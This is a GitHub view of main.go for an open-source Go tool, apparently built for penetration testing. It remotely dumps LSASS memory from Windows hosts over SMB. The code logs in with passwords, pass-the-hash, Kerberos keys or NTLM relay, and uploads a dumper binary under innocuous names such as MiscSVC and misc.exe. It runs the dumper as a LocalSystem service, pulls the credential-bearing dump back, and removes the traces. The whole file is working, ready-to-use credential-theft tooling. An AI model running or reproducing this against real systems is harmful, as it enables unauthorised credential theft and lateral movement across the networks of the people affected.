-
Notifications
You must be signed in to change notification settings - Fork 4
/
main.go
660 lines (601 loc) · 21.7 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
// MIT License
//
// # Copyright (c) 2023 Jimmy Fjällid
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
package main
import (
"encoding/hex"
"encoding/json"
"flag"
"fmt"
"os"
"strings"
"time"
rundebug "runtime/debug"
"golang.org/x/net/proxy"
"golang.org/x/term"
"github.com/jfjallid/go-smb/smb"
"github.com/jfjallid/go-smb/smb/dcerpc"
"github.com/jfjallid/go-smb/spnego"
"github.com/jfjallid/golog"
)
var log = golog.Get("")
var release string = "0.3.2"
var bind *dcerpc.ServiceBind
var session *smb.Connection
func isFlagSet(name string) bool {
found := false
flag.Visit(func(f *flag.Flag) {
if f.Name == name {
found = true
}
})
return found
}
func installService(serviceName, exePath string, args []string, modify bool, backupFile string) (created bool, err error) {
createService := true
if bind == nil {
err = fmt.Errorf("Must bind to the Service pipe first")
log.Errorln(err)
return
}
// If service already exists, abort
_, err = bind.GetServiceStatus(serviceName)
if err != nil {
if err != dcerpc.ServiceResponseCodeMap[dcerpc.ErrorServiceDoesNotExist] {
log.Errorln(err)
return
}
} else {
// Service already exists
if modify {
if backupFile == "" {
return false, fmt.Errorf("Service already exists and cannot modify config without a backup file")
}
f, err := os.OpenFile(backupFile, os.O_CREATE|os.O_TRUNC|os.O_RDWR, 0600)
if err != nil {
log.Errorln(err)
return false, fmt.Errorf("Service already exists and failed to open local backup file")
}
defer f.Close()
config, err := bind.GetServiceConfig(serviceName)
if err != nil {
log.Errorln(err)
return false, fmt.Errorf("Service already exists and failed to retrieve service config")
}
configBuf, err := json.Marshal(&config)
if err != nil {
log.Errorln(err)
return false, fmt.Errorf("Service already exists and failed to json encode the service config")
}
n, err := f.Write(configBuf)
if err != nil {
log.Errorln(err)
return false, fmt.Errorf("Service already exists and failed to backup service config to disk")
}
if n != len(configBuf) {
return false, fmt.Errorf("Service already exists and failed to backup the whole service config to disk")
}
createService = false
} else {
log.Errorf("Service %s already exists. If this is from an old deployment, "+
"run --cleanup to uninstall the service before trying again. "+
"Otherwise, choose another service name or use the --modify flag\n", serviceName)
return false, fmt.Errorf("Service already exists!")
}
}
if createService {
// Create the service
err = bind.CreateService(serviceName, dcerpc.ServiceWin32OwnProcess, dcerpc.ServiceDemandStart, dcerpc.ServiceErrorIgnore, exePath, "LocalSystem", "", serviceName, false)
if err != nil {
log.Errorln(err)
return
}
created = true
} else {
err = bind.ChangeServiceConfig(serviceName, dcerpc.ServiceWin32OwnProcess, dcerpc.ServiceDemandStart, dcerpc.ServiceErrorIgnore, exePath, "LocalSystem", "", "")
if err != nil {
log.Errorln(err)
return
}
}
// Start service with arguments
err = bind.StartService(serviceName, args)
if err != nil {
log.Errorln(err)
return
}
return
}
func cleanup(o smb.Options, serviceName, svcBinaryFullPath, dumpFilePath string, deleteService bool, backupFile string) (err error) {
if session == nil {
// Assume a standalone cleanup run
session, err = smb.NewConnection(o)
if err != nil {
log.Criticalln(err)
return
}
defer session.Close()
}
if bind == nil {
share := "IPC$"
err = session.TreeConnect(share)
if err != nil {
log.Errorln(err)
return
}
defer session.TreeDisconnect(share)
svcctl, err2 := session.OpenFile(share, "svcctl")
if err2 != nil {
log.Errorln(err2)
return err2
}
defer svcctl.CloseFile()
bind, err = dcerpc.Bind(svcctl, dcerpc.MSRPCUuidSvcCtl, dcerpc.MSRPCSvcCtlMajorVersion, dcerpc.MSRPCSvcCtlMinorVersion, dcerpc.MSRPCUuidNdr)
if err != nil {
log.Errorln("Failed to bind to service")
log.Errorln(err)
return
}
}
if deleteService {
log.Infof("Trying to uninstall the %s service\n", serviceName)
err = bind.DeleteService(serviceName)
if err != nil {
log.Errorln(err)
} else {
log.Infof("Successfully uninstalled the %s service\n", serviceName)
}
} else {
log.Infof("Trying to restore config of the %s service\n", serviceName)
if backupFile == "" {
log.Errorf("Cannot restore service config if backup file is not specified")
return
}
var f *os.File
var n int
var config *dcerpc.ServiceConfig = &dcerpc.ServiceConfig{}
f, err = os.Open(backupFile)
if err != nil {
log.Errorln(err)
return
}
defer f.Close()
buf := make([]byte, 1024) // Arbitrarily large buffer to contain a full service config
n, err = f.Read(buf)
if err != nil {
log.Errorln(err)
return
}
if n == 0 {
return fmt.Errorf("Cannot restore service config if backup file is empty")
}
err = json.Unmarshal(buf[:n], config)
if err != nil {
log.Errorln(err)
return
}
err = bind.ChangeServiceConfig2(serviceName, config)
if err != nil {
log.Errorln(err)
return
}
log.Infof("Successfully restored the service config for %s\n", serviceName)
}
log.Infof("Trying to delete the %s service binary (%s)\n", serviceName, svcBinaryFullPath)
err = session.DeleteFile("C$", svcBinaryFullPath[3:])
if err != nil {
log.Errorf("Failed to delete the service binary with error: %v\n", err)
} else {
log.Infof("Successfully deleted the %s service binary\n", svcBinaryFullPath)
}
log.Infof("Trying to delete the dump file %s\n", dumpFilePath)
err = session.DeleteFile("C$", dumpFilePath[3:])
if err != nil {
if err != smb.StatusMap[smb.StatusObjectNameNotFound] {
log.Errorln(err)
return
}
err = nil
log.Infoln("Dump file did not exist")
// File did not exist so do nothing
} else {
log.Infof("Successfully deleted the dump file %s\n", dumpFilePath)
}
log.Infoln("Successfully cleaned up the deployed service and files")
return
}
var helpMsg = `
Usage: ` + os.Args[0] + ` [options]
options:
--host Hostname or ip address of remote server. Must be hostname when using Kerberos
-P, --port SMB Port (default 445)
-d, --domain Domain name to use for login
-u, --user Username
-p, --pass Password
-n, --no-pass Disable password prompt and send no credentials
--hash Hex encoded NT Hash for user password
--local Authenticate as a local user instead of domain user
-k, --kerberos Use Kerberos authentication. (KRB5CCNAME will be checked on Linux)
--dc-ip Optionally specify ip of KDC when using Kerberos authentication
--target-ip Optionally specify ip of target when using Kerberos authentication
--aes-key Use a hex encoded AES128/256 key for Kerberos authentication
-t, --timeout Dial timeout in seconds (default 5)
--relay Start an SMB listener that will relay incoming
NTLM authentications to the remote server and
use that connection. NOTE that this forces SMB 2.1
without encryption.
--relay-port <port> Listening port for relay (default 445)
--socks-host <target> Establish connection via a SOCKS5 proxy server
--socks-port <port> SOCKS5 proxy port (default 1080)
--cleanup Perform a cleanup of service binary, service, and dumpfile
--dumper <path> Path to local lsass dump utility (default pdumpsvc.exe)
--service <name> Name of service that will be created to run the lsass dumper (default MiscSVC)
--service-filename Name of service binary (default misc.exe)
--service-dir Remote path on C: to store service binary (default C:\windows\)
--dumpfile Name of lsass dump file written to disk (default misc.log)
--dumpdir Remote path on C: to temporarily store the lsass dump (default C:\windows\)
--output Path to where to store the lsass dump locally (default lsass.dmp)
--modify Will modify the service if it already exists. EXPERIMENTAL (default false)
--restore Restores a modified service config when using --cleanup flag EXPERIMENTAL (default false)
--backup-file File to store previous service config in or restore from
when modifying an existing service (default svc-backup.json)
--noenc Disable smb encryption
--smb2 Force smb 2.1
--debug Enable debug logging
--verbose Enable verbose logging
-v, --version Show version
`
func main() {
var host, username, password, hash, domain, serviceName, dumper, svcBinaryName, svcBinaryPath, dumpFileName, dumpDir, outFile, socksIP, targetIP, dcIP, aesKey, backupFile string
var port, dialTimeout, socksPort, relayPort int
var debug, noEnc, forceSMB2, localUser, version, runCleanup, verbose, relay, noPass, kerberos, modify, restoreServiceConfig bool
var err error
var hashBytes, aesKeyBytes []byte
flag.Usage = func() {
fmt.Println(helpMsg)
os.Exit(0)
}
flag.StringVar(&host, "host", "", "")
flag.StringVar(&username, "u", "", "")
flag.StringVar(&username, "user", "", "")
flag.StringVar(&password, "p", "", "")
flag.StringVar(&password, "pass", "", "")
flag.StringVar(&hash, "hash", "", "")
flag.StringVar(&domain, "d", "", "")
flag.StringVar(&domain, "domain", "", "")
flag.IntVar(&port, "P", 445, "")
flag.IntVar(&port, "port", 445, "")
flag.BoolVar(&debug, "debug", false, "")
flag.BoolVar(&verbose, "verbose", false, "")
flag.BoolVar(&noEnc, "noenc", false, "")
flag.BoolVar(&forceSMB2, "smb2", false, "")
flag.BoolVar(&localUser, "local", false, "")
flag.IntVar(&dialTimeout, "t", 5, "")
flag.IntVar(&dialTimeout, "timeout", 5, "")
flag.BoolVar(&version, "v", false, "")
flag.BoolVar(&version, "version", false, "")
flag.BoolVar(&runCleanup, "cleanup", false, "")
flag.StringVar(&dumper, "dumper", "pdumpsvc.exe", "")
flag.StringVar(&serviceName, "service", "MiscSVC", "")
flag.StringVar(&svcBinaryName, "service-filename", "misc.exe", "")
flag.StringVar(&svcBinaryPath, "service-dir", "C:\\windows\\", "")
flag.StringVar(&dumpFileName, "dumpfile", "misc.log", "")
flag.StringVar(&outFile, "output", "lsass.dmp", "")
flag.StringVar(&dumpDir, "dumpdir", "C:\\windows\\", "")
flag.BoolVar(&relay, "relay", false, "")
flag.IntVar(&relayPort, "relay-port", 445, "")
flag.StringVar(&socksIP, "socks-host", "", "")
flag.IntVar(&socksPort, "socks-port", 1080, "")
flag.BoolVar(&noPass, "no-pass", false, "")
flag.BoolVar(&noPass, "n", false, "")
flag.BoolVar(&kerberos, "k", false, "")
flag.BoolVar(&kerberos, "kerberos", false, "")
flag.StringVar(&targetIP, "target-ip", "", "")
flag.StringVar(&dcIP, "dc-ip", "", "")
flag.StringVar(&aesKey, "aes-key", "", "")
flag.BoolVar(&modify, "modify", false, "")
flag.StringVar(&backupFile, "backup-file", "svc-backup.json", "")
flag.BoolVar(&restoreServiceConfig, "restore", false, "")
flag.Parse()
if debug {
golog.Set("github.com/jfjallid/go-smb/smb", "smb", golog.LevelDebug, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput)
golog.Set("github.com/jfjallid/go-smb/gss", "gss", golog.LevelDebug, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput)
golog.Set("github.com/jfjallid/go-smb/spnego", "spnego", golog.LevelDebug, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput)
golog.Set("github.com/jfjallid/go-smb/krb5ssp", "krb5ssp", golog.LevelDebug, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput)
golog.Set("github.com/jfjallid/go-smb/smb/dcerpc", "dcerpc", golog.LevelDebug, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput)
golog.Set("github.com/jfjallid/go-smb/smb/dcerpc/msrrp", "msrrp", golog.LevelDebug, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput)
log.SetFlags(golog.LstdFlags | golog.Lshortfile)
log.SetLogLevel(golog.LevelDebug)
} else if verbose {
golog.Set("github.com/jfjallid/go-smb/smb", "smb", golog.LevelInfo, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput)
golog.Set("github.com/jfjallid/go-smb/gss", "gss", golog.LevelInfo, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput)
golog.Set("github.com/jfjallid/go-smb/spnego", "spnego", golog.LevelInfo, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput)
golog.Set("github.com/jfjallid/go-smb/krb5ssp", "krb5ssp", golog.LevelInfo, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput)
golog.Set("github.com/jfjallid/go-smb/smb/dcerpc", "dcerpc", golog.LevelInfo, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput)
golog.Set("github.com/jfjallid/go-smb/smb/dcerpc/msrrp", "msrrp", golog.LevelInfo, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput)
log.SetLogLevel(golog.LevelInfo)
} else {
golog.Set("github.com/jfjallid/go-smb/smb", "smb", golog.LevelNotice, golog.LstdFlags, golog.DefaultOutput, golog.DefaultErrOutput)
golog.Set("github.com/jfjallid/go-smb/gss", "gss", golog.LevelNotice, golog.LstdFlags, golog.DefaultOutput, golog.DefaultErrOutput)
golog.Set("github.com/jfjallid/go-smb/spnego", "spnego", golog.LevelNotice, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput)
golog.Set("github.com/jfjallid/go-smb/krb5ssp", "krb5ssp", golog.LevelNotice, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput)
golog.Set("github.com/jfjallid/go-smb/smb/dcerpc", "dcerpc", golog.LevelNotice, golog.LstdFlags, golog.DefaultOutput, golog.DefaultErrOutput)
golog.Set("github.com/jfjallid/go-smb/smb/dcerpc/msrrp", "msrrp", golog.LevelNotice, golog.LstdFlags, golog.DefaultOutput, golog.DefaultErrOutput)
}
if version {
fmt.Printf("Version: %s\n", release)
bi, ok := rundebug.ReadBuildInfo()
if !ok {
log.Errorln("Failed to read build info to locate version imported modules")
}
for _, m := range bi.Deps {
fmt.Printf("Package: %s, Version: %s\n", m.Path, m.Version)
}
return
}
if host == "" && targetIP == "" {
log.Errorln("Must specify a hostname or ip")
flag.Usage()
return
}
if host != "" && targetIP == "" {
targetIP = host
} else if host == "" && targetIP != "" {
host = targetIP
}
if socksIP != "" && isFlagSet("timeout") {
log.Errorln("When a socks proxy is specified, --timeout is not supported")
flag.Usage()
return
}
if serviceName == "" {
log.Errorln("--service argument cannot be empty")
return
}
if dumper == "" {
log.Errorln("A lsass dump binary is required and the --binary flag cannot be empty")
return
}
if svcBinaryName == "" {
log.Errorln("--service-filename cannot be empty")
return
} else if !strings.HasSuffix(svcBinaryName, ".exe") {
log.Errorln("--service-filename expects an .exe file")
return
}
if svcBinaryPath == "" {
log.Errorln("--service-dir cannot be empty")
return
} else if !strings.HasPrefix(strings.ToUpper(svcBinaryPath), "C:\\") {
log.Errorln("--service-dir must be an absolute path starting with C:\\")
return
}
if !strings.HasSuffix(svcBinaryPath, "\\") {
svcBinaryPath += "\\"
}
if dumpFileName == "" {
log.Errorln("--dumpfile cannot be empty")
return
}
if dumpDir == "" {
log.Errorln("--dump-dir cannot be empty")
return
} else if !strings.HasPrefix(strings.ToUpper(dumpDir), "C:\\") {
log.Errorln("--dump-dir must be an absolute path starting with C:\\")
return
}
if !strings.HasSuffix(dumpDir, "\\") {
dumpDir += "\\"
}
if outFile == "" {
log.Errorln("--output cannot be empty")
return
}
if dialTimeout < 1 {
log.Errorln("Valid value for the timeout is > 0 seconds")
return
}
if hash != "" {
hashBytes, err = hex.DecodeString(hash)
if err != nil {
fmt.Println("Failed to decode hash")
log.Errorln(err)
return
}
}
if aesKey != "" {
aesKeyBytes, err = hex.DecodeString(aesKey)
if err != nil {
fmt.Println("Failed to decode aesKey")
log.Errorln(err)
return
}
if len(aesKeyBytes) != 16 && len(aesKeyBytes) != 32 {
fmt.Println("Invalid keysize of AES Key")
return
}
}
if noPass {
password = ""
hashBytes = nil
aesKeyBytes = nil
} else {
if (password == "") && (hashBytes == nil) && (aesKeyBytes == nil) {
fmt.Printf("Enter password: ")
passBytes, err := term.ReadPassword(int(os.Stdin.Fd()))
fmt.Println()
if err != nil {
log.Errorln(err)
return
}
password = string(passBytes)
}
}
options := smb.Options{
Host: targetIP,
Port: port,
DisableEncryption: noEnc,
ForceSMB2: forceSMB2,
}
if kerberos {
options.Initiator = &spnego.KRB5Initiator{
User: username,
Password: password,
Domain: domain,
Hash: hashBytes,
AESKey: aesKeyBytes,
SPN: "cifs/" + host,
DCIP: dcIP,
}
} else {
options.Initiator = &spnego.NTLMInitiator{
User: username,
Password: password,
Hash: hashBytes,
Domain: domain,
LocalUser: localUser,
}
}
// Only if not using SOCKS
if socksIP == "" {
options.DialTimeout, err = time.ParseDuration(fmt.Sprintf("%ds", dialTimeout))
if err != nil {
log.Errorln(err)
return
}
}
if socksIP != "" {
dialSocksProxy, err := proxy.SOCKS5("tcp", fmt.Sprintf("%s:%d", socksIP, socksPort), nil, proxy.Direct)
if err != nil {
log.Errorln(err)
return
}
options.ProxyDialer = dialSocksProxy
}
if relay {
options.RelayPort = relayPort
session, err = smb.NewRelayConnection(options)
} else {
session, err = smb.NewConnection(options)
}
if err != nil {
log.Criticalln(err)
return
}
defer session.Close()
if session.IsSigningRequired() {
log.Noticeln("[-] Signing is required")
} else {
log.Noticeln("[+] Signing is NOT required")
}
if session.IsAuthenticated() {
log.Noticef("[+] Login successful as %s\n", session.GetAuthUsername())
} else {
log.Noticeln("[-] Login failed")
return
}
if runCleanup {
deleteService := true
if restoreServiceConfig {
deleteService = false
}
err = cleanup(options, serviceName, svcBinaryPath+svcBinaryName, dumpDir+dumpFileName, deleteService, backupFile)
if err != nil {
log.Errorln(err)
}
return
}
f, err := os.Open(dumper)
if err != nil {
log.Errorln("Failed to open file referenced by --dumper flag")
return
}
share := "IPC$"
err = session.TreeConnect(share)
if err != nil {
log.Errorln(err)
return
}
defer session.TreeDisconnect(share)
svcctl, err := session.OpenFile(share, "svcctl")
if err != nil {
log.Errorln(err)
return
}
defer svcctl.CloseFile()
/*
NOTE
Currently the go-smb library does not support modifying all the configuration attributes of a service
As such, when using the --modify flag, a few configuration items are not restored such as
Dependencies, LoadOrderGroup, and TagId
*/
createdNewService := true
defer func(deleteService *bool) {
cleanup(options, serviceName, svcBinaryPath+svcBinaryName, dumpDir+dumpFileName, *deleteService, backupFile)
}(&createdNewService)
err = session.PutFile("C$", svcBinaryPath[3:]+svcBinaryName, 0, f.Read)
if err != nil {
log.Errorf("Failed to upload lsass dumper binary with error: %s\n", err)
f.Close()
return
}
f.Close()
log.Infof("Successfully uploaded %s to %s%s\n", dumper, svcBinaryPath, svcBinaryName)
// Create and start service
bind, err = dcerpc.Bind(svcctl, dcerpc.MSRPCUuidSvcCtl, dcerpc.MSRPCSvcCtlMajorVersion, dcerpc.MSRPCSvcCtlMinorVersion, dcerpc.MSRPCUuidNdr)
if err != nil {
log.Errorln("Failed to bind to service")
log.Errorln(err)
return
}
createdNewService, err = installService(serviceName, svcBinaryPath+svcBinaryName, []string{"lsass.exe", dumpDir + dumpFileName}, modify, backupFile)
if err != nil {
log.Errorln(err)
return
}
for {
status, err := bind.GetServiceStatus(serviceName)
if err != nil {
log.Errorln(err)
return
}
if (status == dcerpc.ServiceRunning) || (status == dcerpc.ServiceStartPending) {
time.Sleep(time.Second)
} else {
// Hopefully the dump is completed
break
}
}
// Retrieve and delete dump file
f, err = os.OpenFile(outFile, os.O_CREATE|os.O_TRUNC|os.O_RDWR, 0600)
if err != nil {
log.Errorln(err)
return
}
defer f.Close()
// Perhaps an intermediate layer to XOR every byte before writing to disk?
err = session.RetrieveFile("C$", dumpDir[3:]+dumpFileName, 0, f.Write)
if err != nil {
log.Errorln(err)
return
}
log.Infof("Successfully downloaded the LSASS dump into local file %s\n", outFile)
}